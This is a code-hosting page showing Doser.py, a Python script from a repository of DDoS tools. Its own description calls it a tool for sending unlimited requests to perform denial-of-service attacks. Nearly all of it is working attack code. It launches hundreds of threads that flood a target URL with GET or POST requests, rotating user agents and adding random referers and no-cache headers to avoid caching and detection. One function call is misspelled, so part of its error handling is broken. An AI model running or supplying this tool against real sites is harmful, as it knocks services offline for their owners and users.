Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L7/Doser.py
4607 views
1
import requests
2
import sys
3
import threading
4
import random
5
import re
6
import argparse
7
8
host=''
9
headers_useragents=[]
10
request_counter=0
11
printedMsgs = []
12
13
def printMsg(msg):
14
if msg not in printedMsgs:
15
print ("\n"+msg + " after %i requests" % request_counter)
16
printedMsgs.append(msg)
17
18
def useragent_list():
19
global headers_useragents
20
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
21
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
22
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
23
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
24
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
25
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
26
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
27
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
28
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
29
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
30
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
31
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
32
return(headers_useragents)
33
34
def randomString(size):
35
out_str = ''
36
for i in range(0, size):
37
a = random.randint(65, 90)
38
out_str += chr(a)
39
return(out_str)
40
41
def initHeaders():
42
useragent_list()
43
global headers_useragents, additionalHeaders
44
headers = {
45
'User-Agent': random.choice(headers_useragents),
46
'Cache-Control': 'no-cache',
47
'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
48
'Referer': 'http://www.google.com/?q=' + randomString(random.randint(5,10)),
49
'Keep-Alive': str(random.randint(110,120)),
50
'Connection': 'keep-alive'
51
}
52
53
if additionalHeaders:
54
for header in additionalHeaders:
55
headers.update({header.split(":")[0]:header.split(":")[1]})
56
return headers
57
58
def handleStatusCodes(status_code):
59
global request_counter
60
sys.stdout.write("\r%i requests has been sent" % request_counter)
61
sys.stdout.flush()
62
if status_code == 429:
63
printMsg("You have been throttled")
64
if status_code == 500:
65
printedMsg("Status code 500 received")
66
67
def sendGET(url):
68
global request_counter
69
headers = initHeaders()
70
try:
71
request_counter+=1
72
request = requests.get(url, headers=headers)
73
# print 'her'
74
handleStatusCodes(request.status_code)
75
except:
76
pass
77
78
def sendPOST(url, payload):
79
global request_counter
80
headers = initHeaders()
81
try:
82
request_counter+=1
83
if payload:
84
request = requests.post(url, data=payload, headers=headers)
85
else:
86
request = requests.post(url, headers=headers)
87
handleStatusCodes(request.status_code)
88
except:
89
pass
90
91
class SendGETThread(threading.Thread):
92
def run(self):
93
try:
94
while True:
95
global url
96
sendGET(url)
97
except:
98
pass
99
100
class SendPOSTThread(threading.Thread):
101
def run(self):
102
try:
103
while True:
104
global url, payload
105
sendPOST(url, payload)
106
except:
107
pass
108
109
110
# TODO:
111
# check if the site stop responding and alert
112
113
def main(argv):
114
parser = argparse.ArgumentParser(description='Sending unlimited amount of requests in order to perform DoS attacks. Written by Barak Tawily')
115
parser.add_argument('-g', help='Specify GET request. Usage: -g \'<url>\'')
116
parser.add_argument('-p', help='Specify POST request. Usage: -p \'<url>\'')
117
parser.add_argument('-d', help='Specify data payload for POST request', default=None)
118
parser.add_argument('-ah', help='Specify addtional header/s. Usage: -ah \'Content-type: application/json\' \'User-Agent: Doser\'', default=None, nargs='*')
119
parser.add_argument('-t', help='Specify number of threads to be used', default=500, type=int)
120
args = parser.parse_args()
121
122
global url, payload, additionalHeaders
123
additionalHeaders = args.ah
124
payload = args.d
125
126
if args.g:
127
url = args.g
128
for i in range(args.t):
129
t = SendGETThread()
130
t.start()
131
132
if args.p:
133
url = args.p
134
for i in range(args.t):
135
t = SendPOSTThread()
136
t.start()
137
138
if len(sys.argv)==1:
139
parser.print_help()
140
exit()
141
142
if __name__ == "__main__":
143
main(sys.argv[1:])
144